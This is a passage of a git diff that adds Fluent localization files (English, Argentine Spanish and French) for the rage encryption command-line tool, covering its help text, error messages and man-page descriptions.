+## Usage + +usage-header = Usage + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +args-header = Arguments + +help-arg-input = Path to a file to read from. + +flags-header = Options + +help-flag-help = Print this help message and exit. +help-flag-version = Print version info and exit. +help-flag-encrypt = Encrypt the input (the default). +help-flag-decrypt = Decrypt the input. +help-flag-passphrase = Encrypt with a passphrase instead of recipients. +help-flag-max-work-factor = Maximum work factor to allow for passphrase decryption. +help-flag-armor = Encrypt to a PEM encoded format. +help-flag-recipient = Encrypt to the specified {recipient}. May be repeated. +help-flag-recipients-file = Encrypt to the recipients listed at {recipients-file}. May be repeated. +help-flag-identity = Use the identity file at {identity}. May be repeated. +help-flag-plugin-name = Use {-age-plugin-}{plugin-name} in its default mode as an identity. +help-flag-output = Write the result to the file at path {output}. + +rage-after-help-content = + {input} defaults to standard input, and {output} defaults to standard output. + If {output} exists, it will be overwritten. + + {recipient} can be: + - An {-age} public key, as generated by {$keygen_name} ({$example_age_pubkey}). + - An SSH public key ({$example_ssh_pubkey}). + + {recipients-file} is a path to a file containing {-age} recipients, one per line + (ignoring "#" prefixed comments and empty lines). {-stdin} may be used to + read recipients from standard input. + + {identity} is a path to a file with {-age} identities, one per line + (ignoring "#" prefixed comments and empty lines), or to an SSH key file. + Passphrase-encrypted {-age} identity files can be used as identity files. + Multiple identities may be provided, and any unused ones will be ignored. + {-stdin} may be used to read identities from standard input. + +rage-after-help-example = + Example: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +keygen-help-flag-output = {help-flag-output} Defaults to standard output. +keygen-help-flag-convert = Convert an identity file to a recipients file. + +## Formatting + +warning-msg = Warning: {$warning} + +## Keygen messages + +tty-pubkey = Public key +identity-file-created = created +identity-file-pubkey = public key + +## Encryption messages + +autogenerated-passphrase = Using an autogenerated passphrase: +type-passphrase = Type passphrase +prompt-passphrase = Passphrase + +warn-double-encrypting = Encrypting an already-encrypted file + +## General errors + +err-failed-to-open-input = Failed to open input: {$err} +err-failed-to-open-output = Failed to open output: {$err} +err-failed-to-read-input = Failed to read from input: {$err} +err-failed-to-write-output = Failed to write to output: {$err} +err-identity-ambiguous = {-flag-identity} requires either {-flag-encrypt} or {-flag-decrypt}. +err-mixed-encrypt-decrypt = {-flag-encrypt} can't be used with {-flag-decrypt}. +err-passphrase-timed-out = Timed out waiting for passphrase input. +err-same-input-and-output = Input and output are the same file '{$filename}'. + +err-ux-A = Did {-rage} not do what you expected? Could an error be more useful? +err-ux-B = Tell us +# Put (len(A) - len(B) - 32) spaces here. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = Could not write to stdout: {$err} +rec-enc-broken-stdout = Are you piping to a program that isn't reading from stdin? + +err-enc-broken-file = Could not write to file: {$err} + +rec-enc-missing-recipients = Did you forget to specify {-flag-recipient}? + +err-enc-mixed-identity-passphrase = {-flag-identity} can't be used with {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} can't be used with {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} can't be used with {-flag-passphrase}. +err-enc-passphrase-without-file = File to encrypt must be passed as an argument when using {-flag-passphrase}. + +err-enc-plugin-name-flag = {-flag-plugin-name} can't be used with {-flag-encrypt}. + +## Decryption errors + +err-detected-powershell-corruption = It looks like this file was corrupted by PowerShell redirection. +rec-detected-powershell-corruption = Consider using {-flag-output} or {-flag-armor} to encrypt files in PowerShell. + +rec-dec-excessive-work = To decrypt, retry with {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} can't be used with {-flag-decrypt}. +rec-dec-armor-flag = Note that armored files are detected automatically. + +err-dec-missing-identities = Missing identities. +rec-dec-missing-identities = Did you forget to specify {-flag-identity}? +rec-dec-missing-identities-stdin = Did you forget to provide the identity over standard input? + +err-dec-mixed-identity-passphrase = {-flag-identity} can't be used with passphrase-encrypted files. + +err-mixed-identity-and-plugin-name = {-flag-identity} can't be used with {-flag-plugin-name}. + +err-dec-passphrase-flag = {-flag-passphrase} can't be used with {-flag-decrypt}. +rec-dec-passphrase-flag = Note that passphrase-encrypted files are detected automatically. + +err-dec-passphrase-without-file-win = + This file requires a passphrase, and on Windows the + file to decrypt must be passed as a positional argument + when decrypting with a passphrase. + +err-dec-recipient-flag = {-flag-recipient} can't be used with {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} can't be used with {-flag-decrypt}. +rec-dec-recipient-flag = Did you mean to use {-flag-identity} to specify a private key? + +## rage-mount strings + +mnt-filename = FILENAME +mnt-mountpoint = MOUNTPOINT +mnt-types = TYPES + +help-arg-mnt-filename = The encrypted filesystem to mount. +help-arg-mnt-mountpoint = The directory to mount the filesystem at. +help-arg-mnt-types = Indicates the filesystem type (one of {$types}). + +info-decrypting = Decrypting {$filename} +info-mounting-as-fuse = Mounting as FUSE filesystem + +err-mnt-missing-filename = Missing filename. +err-mnt-missing-mountpoint = Missing mountpoint. +err-mnt-missing-types = Missing {-flag-mnt-types}. +err-mnt-unknown-type = Unknown filesystem type "{$fs_type}" + +## Unstable features + +test-unstable = To test this, build {-rage} with {-flag-unstable}. + +## rage manpage + +recipients = RECIPIENTS +identities = IDENTITIES + +man-rage-about = A simple, secure, and modern encryption tool + +man-rage-description = + {-rage} encrypts or decrypts {input} to {output}. The {input} argument is + optional and defaults to standard input. Only a single {input} file may be + specified. If {-flag-output} is not specified, {output} defaults to standard + output. + + If {-flag-passphrase} is specified, the file is encrypted with a passphrase + requested interactively. Otherwise, it's encrypted to one or more + {recipients} specified with {-flag-recipient} or + {-flag-recipients-file}. Every recipient can decrypt the file. + + In {-flag-decrypt} mode, passphrase-encrypted files are detected automatically + and the passphrase is requested interactively. Otherwise, one or more + {identities} specified with {-flag-identity} are used to decrypt the file. + + {-age} encrypted files are binary and not malleable, with around 200 bytes of + overhead per recipient, plus 16 bytes every 64KiB of plaintext. + +man-rage-flag-output = + Write encrypted or decrypted file to {output} instead of standard output. + If {output} already exists it will be overwritten. + + If encrypting without {-flag-armor}, {-rage} will refuse to output binary to a + TTY. This can be forced by specifying {-stdin} as {output}. + +man-rage-encryption-options = Encryption options + +man-rage-flag-encrypt = + Encrypt {input} to {output}. This is the default. + +man-rage-flag-recipient = + Encrypt to the explicitly specified {recipient}. See the + {man-rage-recipients-and-identities-heading} section for possible recipient + formats. + + This option can be repeated and combined with other recipient flags, + and the file can be decrypted by all provided recipients independently. + +man-rage-flag-recipients-file = + Encrypt to the {recipients} listed in the file at {recipients-file}, one per + line. Empty lines and lines starting with "#" are ignored as comments. + + If {recipients-file} is {-stdin}, the recipients are read from standard + input. In this case, the {input} argument must be specified. + + This option can be repeated and combined with other recipient flags, + and the file can be decrypted by all provided recipients independently. + +man-rage-flag-passphrase = + Encrypt with a passphrase, requested interactively from the terminal. + {-rage} will offer to auto-generate a secure passphrase. + + This option can't be used with other recipient flags. + +man-rage-flag-armor = + Encrypt to an ASCII-only "armored" encoding. + + {-age} armor is a strict version of PEM with type "{-armor-pem-type}", + canonical "strict" Base64, no headers, and no support for leading and + trailing extra data. + + Decryption transparently detects and decodes ASCII armoring. + +man-rage-flag-identity-encrypt = + Encrypt to the {recipients} corresponding to the {identities} listed in the + file at {identity}. This is equivalent to converting the file at {identity} + to a recipients file with '{-rage-keygen} {-flag-convert}' and then passing that to + {-flag-recipients-file}. + + For the format of {identity}, see the definition of {-flag-identity} in the + {man-rage-decryption-options} section. + + {-flag-encrypt} must be explicitly specified when using {-flag-identity} + in encryption mode to avoid confusion. + +man-rage-flag-plugin-encrypt = + Encrypt using the data-less plugin {plugin-name}. + + This is equivalent to using {-flag-identity} with a file that contains a + single plugin {identity} that encodes no plugin-specific data. + + {-flag-encrypt} must be explicitly specified when using {-flag-plugin-name} + in encryption mode to avoid confusion. + +man-rage-decryption-options = Decryption options + +man-rage-flag-decrypt = + Decrypt {input} to {output}. + + If {input} is passphrase encrypted, it will be automatically detected + and the passphrase will be requested interactively. Otherwise, the + {identities} specified with {-flag-identity} are used. + + ASCII armoring is transparently detected and decoded. + +man-rage-flag-identity-decrypt = + Decrypt using the {identities} at {identity}. + + {identity} may be one of the following: + + a. A file listing {identities} one per line. Empty lines and lines starting + with "#" are ignored as comments. + + b. A passphrase encrypted age file, containing {identities} one per + line like above. The passphrase is requested interactively. Note that + passphrase-protected identity files are not necessary for most use cases, + where access to the encrypted identity file implies access to the whole + system. + + c. An SSH private key file, in PKCS#1, PKCS#8, or OpenSSH format. + If the private key is password-protected, the password is requested + interactively only if the SSH identity matches the file. See the + {man-rage-ssh-keys-heading} section for more information, including + supported key types. + + d. {-stdin}, causing one of the options above to be read from standard input. + In this case, the {input} argument must be specified. + + This option can be repeated. Identities are tried in the order in which are + provided, and the first one matching one of the file's recipients is used. + Unused identities are ignored, but it is an error if the {input} file is + passphrase-encrypted and {-flag-identity} is specified. + +man-rage-flag-plugin-decrypt = + Decrypt using the data-less plugin {plugin-name}. + + This is equivalent to using {-flag-identity} with a file that contains a + single plugin {identity} that encodes no plugin-specific data. + +man-rage-recipients-and-identities-heading = RECIPIENTS AND IDENTITIES +man-rage-recipients-and-identities = + {recipients} are public values, like a public key, that a file can be encrypted + to. {identities} are private values, like a private key, that allow decrypting + a file encrypted to the corresponding {recipient}. + +man-rage-native-x25519-keys-heading = Native X25519 keys +man-rage-native-x25519-keys = + Native {-age} key pairs are generated with {-rage-keygen}(1), and provide small + encodings and strong encryption based on X25519. They are the recommended + recipient type for most applications. + + A {recipient} encoding begins with "{-recipient-prefix}" and looks like the + following: + + {" "}{$example_age_recipient} + + An {identity} encoding begins with "{-identity-prefix}" and looks like the + following: + + {" "}{$example_age_identity} + + An encrypted file can't be linked to the native recipient it's encrypted to + without access to the corresponding identity. + +man-rage-ssh-keys-heading = SSH keys +man-rage-ssh-keys = + As a convenience feature, {-rage} also supports encrypting to RSA or Ed25519 + {-ssh} keys. RSA keys must be at least 2048 bits. This feature employs more + complex cryptography, and should only be used when a native key is not available + for the recipient. Note that SSH keys might not be protected long-term by the + recipient, since they are revokable when used only for authentication. + + A {recipient} encoding is an SSH public key in "{-ssh-authorized-keys}" format + (see the "{-authorized-keys-file-format}" section of {-sshd}), starting with + "{-ssh-rsa}" or "{-ssh-ed25519}", like the following: + + {" "}{$example_ssh_rsa} + {" "}{$example_ssh_ed25519} + + The comment at the end of the line, if present, is ignored. + + In recipient files passed to {-flag-recipients-file}, unsupported but valid + SSH public keys are ignored with a warning, to facilitate using + "{-ssh-authorized-keys}" or GitHub "{-dot-keys}" files. (See {man-examples-heading}.) + + An {identity} is an SSH private key _file_ passed individually to + {-flag-identity}. Note that keys held on hardware tokens such as YubiKeys + or accessed via {-ssh-agent} are not supported. + + An encrypted file _can_ be linked to the SSH public key it was encrypted to. + This is so that {-rage} can identify the correct SSH private key before + requesting its password, if any. + +man-rage-plugins-heading = Plugins +man-rage-plugins = + {-rage} can be extended through plugins. A plugin is only loaded if a corresponding + {recipient} or {identity} is specified. (Simply decrypting a file encrypted with + a plugin will not cause it to load, for security reasons among others.) + + A {recipient} for a plugin named "{-example}" starts with "{-example-r}", while an + {identity} starts with "{-example-i}". They both encode arbitrary plugin-specific + data, and are generated by the plugin. + + When either is specified, {-rage} searches for {-age-plugin-}{-example} in the PATH + and executes it to perform the file header encryption or decryption. The plugin + may request input from the user through {-rage} to complete the operation. + + Plugins can be freely mixed with other plugins or natively supported keys. + + A plugin is not bound to only encrypt or decrypt files meant for or generated by + the plugin. For example, a plugin can be used to decrypt files encrypted to a + native X25519 {recipient} or even with a passphrase. Similarly, a plugin can + encrypt a file such that it can be decrypted without the use of any plugin. + + Plugins for which the {identity}/{recipient} distinction doesn't make sense + (such as a symmetric encryption plugin) may generate only an {identity} and + instruct the user to perform encryption with the {-flag-encrypt} and + {-flag-identity} flags. Plugins for which the concept of separate identities + doesn't make sense (such as a password-encryption plugin) may instruct the user + to use the {-flag-plugin-name} flag. + +man-examples-heading = EXAMPLES + +man-rage-example-single = Generate a new identity, encrypt data, and decrypt +man-rage-example-enc-multiple = Encrypt {$input} to multiple recipients and output to {$output} +man-rage-example-enc-list = Encrypt to a list of recipients +man-rage-example-password = Encrypt and decrypt a file using a passphrase +man-rage-example-identity-passphrase = Encrypt and decrypt with a passphrase-protected identity file +man-rage-example-ssh = Encrypt and decrypt with an SSH public key +man-rage-example-yubikey = Encrypt and decrypt with {-age-plugin-}{-yubikey} +man-rage-example-yubikey-setup = Run interactive setup, generate identity file and obtain recipient. +man-rage-example-enc-github = Encrypt to the SSH keys of a GitHub user + +man-see-also-heading = SEE ALSO + +## rage-keygen manpage + +man-keygen-about = Generate age-compatible encryption key pairs + +man-keygen-description = + {-rage-keygen} generates a new native {-age} key pair, and outputs the identity to + standard output or to the {output} file. The output includes the public key and + the current time as comments. + + If the output is not going to a terminal, {-rage-keygen} prints the public key to + standard error. + +man-keygen-flag-output = + Write the identity to {output} instead of standard output. + + If {output} already exists, it is not overwritten. + +man-keygen-flag-convert = + Read an identity file from {input} or from standard input and output the + corresponding recipient(s), one per line, with no comments. + +man-keygen-example-stdout = Generate a new identity +man-keygen-example-file = Write a new identity to "{$filename}" +man-keygen-example-convert = Convert an identity to a recipient + +## rage-mount manpage + +man-mount-about = Mount an {-age} encrypted filesystem + +man-mount-description = + {-rage-mount} decrypts the {-age} encrypted filesystem at {mnt-filename} on the + fly, and mounts it as a directory on the local filesystem at {mnt-mountpoint}. + + Passphrase-encrypted files are detected automatically and the passphrase is + requested interactively. Otherwise, one or more {identities} specified with + {-flag-identity} are used to decrypt the file. + + The previous contents (if any) and owner and mode of {mnt-mountpoint} become + invisible, and as long as this filesystem remains mounted, the pathname + {mnt-mountpoint} refers to the root of the filesystem on {mnt-filename}. + +man-mount-flag-types = + Set the filesystem type. The following types are currently supported: {$types}. + + This option is required. {-rage-mount} does not attempt to guess the filesystem + format. + + In theory, any efficiently-seekable filesystem format can be supported. At + present, {-rage-mount} only supports seekable archive formats. + +man-mount-example-identity = Mounting an archive encrypted to a recipient +man-mount-example-passphrase = Mounting an archive encrypted with a passphrase diff --git a/lib/rage/rage/i18n/es-AR/rage.ftl b/lib/rage/rage/i18n/es-AR/rage.ftl new file mode 100644 index 0000000..712dd0c --- /dev/null +++ b/lib/rage/rage/i18n/es-AR/rage.ftl @@ -0,0 +1,166 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = Usage + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +rage-after-help-content = + {input} por defecto a standard input, y {output} por defecto standard output. + + {recipient} puede ser: + - Una clave pública {-age}, como es generada por {$keygen_name} ({$example_age_pubkey}). + - Una clave pública SSH ({$example_ssh_pubkey}). + + {recipients-file} es una ruta a un archivo que contenga un destinatario {-age} por línea + (ignorando comentarios con el prefijo "#" y líneas vacías). + + {identity} es una ruta a una archivo con una identidad {-age} por línea + (ignorando comentarios con el prefijo "#" y líneas vacías), o a un archivo + de claves SSH. + Passphrase-encrypted {-age} identity files can be used as identity files. + Pueden proveerse múltiples idendidades, cualquiera que no sea + utilizada será ignorada. + +rage-after-help-example = + Ejemplo: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +## Keygen messages + +tty-pubkey = Clave pública +identity-file-created = creada +identity-file-pubkey = clave pública + +## Encryption messages + +autogenerated-passphrase = Utilizando una frase contraseña autogenerada: +type-passphrase = Escriba su frase contraseña +prompt-passphrase = Frase contraseña + +## General errors + +err-failed-to-open-output = Fallo al abrir output: {$err} +err-failed-to-write-output = Fallo al escribir al output: {$err} +err-mixed-encrypt-decrypt = {-flag-encrypt} no puede ser usado con {-flag-decrypt}. +err-passphrase-timed-out = Tiempo de espera para ingresar frase contraseña agotado. + +err-ux-A = Acaso {-rage} no hizo lo que esperabas? Puede que un error te sea mas útil? +err-ux-B = Contanos +# Put (len(A) - len(B) - 32) spaces here. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = No se pudo escribir a stdout: {$err} +rec-enc-broken-stdout = Estás enviando por pipe a un programa que no está leyendo desde stdin? + +err-enc-broken-file = No se pudo escribir al archivo: {$err} + +rec-enc-missing-recipients = ¿Te olvidaste de especificar {-flag-recipient}? + +err-enc-mixed-identity-passphrase = {-flag-identity} no puede ser usado con {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} no puede ser usado con {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} no puede ser usado con {-flag-passphrase}. +err-enc-passphrase-without-file = El archivo a encriptar debe ser pasado como argumento cuando se utiliza {-flag-passphrase}. + +## Decryption errors + +rec-dec-excessive-work = Para desencriptar, intenta con {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} no puede ser usado con {-flag-decrypt}. +rec-dec-armor-flag = Nota que los archivos blindados son detectados automáticamente. + +err-dec-missing-identities = No se encontraron las identidades. +rec-dec-missing-identities = ¿Te olvidaste de especificar {-flag-identity}? + +err-dec-passphrase-flag = {-flag-passphrase} no puede ser usado con {-flag-decrypt}. +rec-dec-passphrase-flag = Nota que los archivos encriptados con frases contraseñas son detectados automáticamente. + +err-dec-passphrase-without-file-win = + Este archivo requiere una frase contraseña. En Windows + los archivos a desencriptar deben ser pasados posicionalmente + como argumentos cuando se desencripta con una frase contraseña. + +err-dec-recipient-flag = {-flag-recipient} no puede ser usado con {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} no puede ser usado con {-flag-decrypt}. +rec-dec-recipient-flag = ¿Tenías la intención de utilizar {-flag-identity} para especificar una clave privada? + +## rage-mount strings + +-flag-mnt-types = -t/--types + +info-decrypting = Desencriptando {$filename} +info-mounting-as-fuse = Montando como sistema de archivos FUSE + +err-mnt-missing-filename = Falta el nombre de archivo. +err-mnt-missing-mountpoint = Falta el punto de montaje. +err-mnt-missing-types = Falta {-flag-mnt-types}. +err-mnt-unknown-type = Tipo de sistema de archivos desconocido "{$fs_type}" + +## Unstable features + +test-unstable = Para probar esto, compilar {-rage} con {-flag-unstable}. diff --git a/lib/rage/rage/i18n/fr/rage.ftl b/lib/rage/rage/i18n/fr/rage.ftl new file mode 100644 index 0000000..dac6ded --- /dev/null +++ b/lib/rage/rage/i18n/fr/rage.ftl @@ -0,0 +1,505 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Helper variables, to be localized + +# Used throughout to indicate that a flag X cannot be used with another flag Y +-cantuse = ne peut pas être utilisé avec + +## Usage + +usage-header = Utilisation + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +args-header = Arguments + +help-arg-input = Chemin vers un fichier à lire. + +flags-header = Options + +help-flag-help = Affiche ce message d'aide et quitte. +help-flag-version = Affiche les informations de version et quitte. +help-flag-encrypt = Chiffre l'input (l'option par défaut). +help-flag-decrypt = Déchiffre l'input. +help-flag-passphrase = Chiffre avec une phrase secrète au lieu de destinataires. +help-flag-max-work-factor = Facteur d'effort maximum à autoriser pour déchiffrer avec une phrase secrète. +help-flag-armor = Chiffre au format d'encodage PEM. +help-flag-recipient = Chiffre pour le {destinataire} spécifié. Peut être répété. +help-flag-recipients-file = Chiffre pour les destinataires listés dans le fichier {recipients-file}. Peut être répété. +help-flag-identity = Utilise le fichier d'identité {identity}. Peut être répété. +help-flag-plugin-name = Utilise {-age-plugin-}{plugin-name} dans son mode par défaut en tant qu'identité. +help-flag-output = Ecrit le résultat dans le fichier situé au chemin {output}. + +rage-after-help-content = + {input} est par défaut l'entrée standard (stdin), tandis que {output} est par défaut la sortie standard (stdout). + Si {output} existe, il sera écrasé. + + {recipient} peut être: + - Une clef publique {-age}, telle que générée par {$keygen_name} ({$example_age_pubkey}). + - Une clef publique SSH ({$example_ssh_pubkey}). + + {recipients-file} est le chemin vers un fichier contenant des destinataires {-age}, un par ligne + (en ignorant les lignes vides et les commentaires préfixés par "#"). {-stdin} peut être utilisé + pour lire des destinataires depuis l'entrée standard. + + {identity} est un chemin vers un fichier avec des identités {-age}, une par ligne + (en ignorant les lignes vides et les commentaires préfixés par "#"), ou vers un ficher de clef SSH. + Les fichiers d'identité {-age} protégé par phrase secrète peuvent être utilisé comme fichier d'identité. + Plusieurs identités peuvent être fournis, et les inutilisées seront ignorées. + {-stdin} peut être utilisé pour lire des identités depuis l'entrée standard. + +rage-after-help-example = + Exemple: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +keygen-help-flag-output = {help-flag-output} Par défaut, la sortie standard. +keygen-help-flag-convert = Convertit un fichier d'identité en un fichier de destinataires. + +## Formatting + +warning-msg = Attention: {$warning} + +## Keygen messages + +tty-pubkey = Clef publique +identity-file-created = créée +identity-file-pubkey = clef publique + +## Encryption messages + +autogenerated-passphrase = Utilisé une phrase secrète auto-générée: +type-passphrase = Ecrivez la phrase secrète +prompt-passphrase = Phrase secrète + +warn-double-encrypting = Chiffrement d'un fichier déjà chiffré + +## General errors + +err-failed-to-open-input = Echec d'ouverture de l'entrée: {$err} +err-failed-to-open-output = Echec d'ouverture de la sortie: {$err} +err-failed-to-read-input = Echec de lecture de l'entrée: {$err} +err-failed-to-write-output = Echec d'écriture vers la sortie: {$err} +err-identity-ambiguous = {-flag-identity} nécessite {-flag-encrypt} ou {-flag-decrypt}. +err-mixed-encrypt-decrypt = {-flag-encrypt} {-cantuse} {-flag-decrypt}. +err-passphrase-timed-out = Délai dépassé lors de l'attente d'entrée de la phrase secrète. +err-same-input-and-output = L'entrée et la sortie sont le même fichier {$filename}'. + +err-ux-A = Est-ce que {-rage} n'a pas fait ce que vous escomptiez ? Est-ce qu'une erreur serait plus utile ? +err-ux-B = Dites-le nous +# Put (len(A) - len(B) - 32) spaces here. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = N'a pas pu écrire sur stdout: {$err} +rec-enc-broken-stdout = Etes-vous en train de piper vers programme qui ne lit pas depuis stdin ? + +err-enc-broken-file = N'a pas pu écrire dans le fichier: {$err} + +rec-enc-missing-recipients = Avez-vous oublié de spécifier {-flag-recipient} ? + +err-enc-mixed-identity-passphrase = {-flag-identity} {-cantuse} {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} {-cantuse} {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} {-cantuse} {-flag-passphrase}. +err-enc-passphrase-without-file = Un fichier à chiffrer doit être passé en argument lors de l'utilisation de {-flag-passphrase}. + +err-enc-plugin-name-flag = {-flag-plugin-name} {-cantuse} {-flag-encrypt}. + +## Decryption errors + +err-detected-powershell-corruption = Il semblerait que ce fichier ait été corrompu par une redirection PowerShell. +rec-detected-powershell-corruption = Essayez d'utiliser {-flag-output} ou {-flag-armor} pour chiffrer des fichiers dans PowerShell. + +rec-dec-excessive-work = Pour déchiffrer, réessayez avec {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} {-cantuse} {-flag-decrypt}. +rec-dec-armor-flag = Note that armored files are detected automatically. + +err-dec-missing-identities = Identités manquantes. +rec-dec-missing-identities = Avez-vous oublié de spécifier {-flag-identity} ? +rec-dec-missing-identities-stdin = Avez-vous oublié de fournir une identité via l'entrée standard ? + +err-dec-mixed-identity-passphrase = {-flag-identity} {-cantuse} des fichiers chiffrés avec une phrase secrète. + +err-mixed-identity-and-plugin-name = {-flag-identity} {-cantuse} {-flag-plugin-name}. + +err-dec-passphrase-flag = {-flag-passphrase} {-cantuse} {-flag-decrypt}. +rec-dec-passphrase-flag = Notez que les fichiers chiffrés avec une phrase secrète sont détectés automatiquement. + +err-dec-passphrase-without-file-win = + Ce fichier requière une phrase secrète, et, sur Windows, + le fichier à déchiffrer doit être passé en tant qu'argument + positionnel pour déchiffrer avec une phrase secrète. + +err-dec-recipient-flag = {-flag-recipient} {-cantuse} {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} {-cantuse} {-flag-decrypt}. +rec-dec-recipient-flag = Vouliez-vous peut-être utiliser {-flag-identity} pour spécifier une clef privée ? + +## rage-mount strings + +mnt-filename = FILENAME +mnt-mountpoint = MOUNTPOINT +mnt-types = TYPES + +help-arg-mnt-filename = Le système de fichier chiffré à monter. +help-arg-mnt-mountpoint = Le dossier vers lequel monter le système de fichier. +help-arg-mnt-types = Indique le type de système de fichier (parmis {$types}). + +info-decrypting = Déchiffrement de {$filename} +info-mounting-as-fuse = Montage en tant que système de fichier FUSE + +err-mnt-missing-filename = Il manque un nom de fichier. +err-mnt-missing-mountpoint = Il manque un point de montage. +err-mnt-missing-types = Il manque le fanion {-flag-mnt-types}. +err-mnt-unknown-type = Type de système de fichier inconnu "{$fs_type}" + +## Unstable features + +test-unstable = Pour tester cela, il faut compiler {-rage} avec {-flag-unstable}. + +## rage manpage + +recipients = RECIPIENTS +identities = IDENTITIES + +man-rage-about = Un outil de chiffrement simple, sécurisé et moderne. + +man-rage-description = + {-rage} encrypts or decrypts {input} to {output}. The {input} argument is + optional and defaults to standard input. Only a single {input} file may be + specified. If {-flag-output} is not specified, {output} defaults to standard + output. + + If {-flag-passphrase} is specified, the file is encrypted with a passphrase + requested interactively. Otherwise, it's encrypted to one or more + {recipients} specified with {-flag-recipient} or + {-flag-recipients-file}. Every recipient can decrypt the file. + + In {-flag-decrypt} mode, passphrase-encrypted files are detected automatically + and the passphrase is requested interactively. Otherwise, one or more + {identities} specified with {-flag-identity} are used to decrypt the file. + + {-age} encrypted files are binary and not malleable, with around 200 bytes of + overhead per recipient, plus 16 bytes every 64KiB of plaintext. + +man-rage-flag-output = + Write encrypted or decrypted file to {output} instead of standard output. + If {output} already exists it will be overwritten. + + If encrypting without {-flag-armor}, {-rage} will refuse to output binary to a + TTY. This can be forced by specifying {-stdin} as {output}. + +man-rage-encryption-options = Encryption options + +man-rage-flag-encrypt = + Encrypt {input} to {output}. This is the default. + +man-rage-flag-recipient = + Encrypt to the explicitly specified {recipient}. See the + {man-rage-recipients-and-identities-heading} section for possible recipient + formats. + + This option can be repeated and combined with other recipient flags, + and the file can be decrypted by all provided recipients independently. + +man-rage-flag-recipients-file = + Encrypt to the {recipients} listed in the file at {recipients-file}, one per + line. Empty lines and lines starting with "#" are ignored as comments. + + If {recipients-file} is {-stdin}, the recipients are read from standard + input. In this case, the {input} argument must be specified. + + This option can be repeated and combined with other recipient flags, + and the file can be decrypted by all provided recipients independently. + +man-rage-flag-passphrase = + Encrypt with a passphrase, requested interactively from the terminal. + {-rage} will offer to auto-generate a secure passphrase. + + Cette option ne peut pas être utilisée avec d'autre fanion (flag). + +man-rage-flag-armor = + Encrypt to an ASCII-only "armored" encoding. + + {-age} armor is a strict version of PEM with type "{-armor-pem-type}", + canonical "strict" Base64, no headers, and no support for leading and + trailing extra data. + + Decryption transparently detects and decodes ASCII armoring. + +man-rage-flag-identity-encrypt = + Encrypt to the {recipients} corresponding to the {identities} listed in the + file at {identity}. This is equivalent to converting the file at {identity} + to a recipients file with 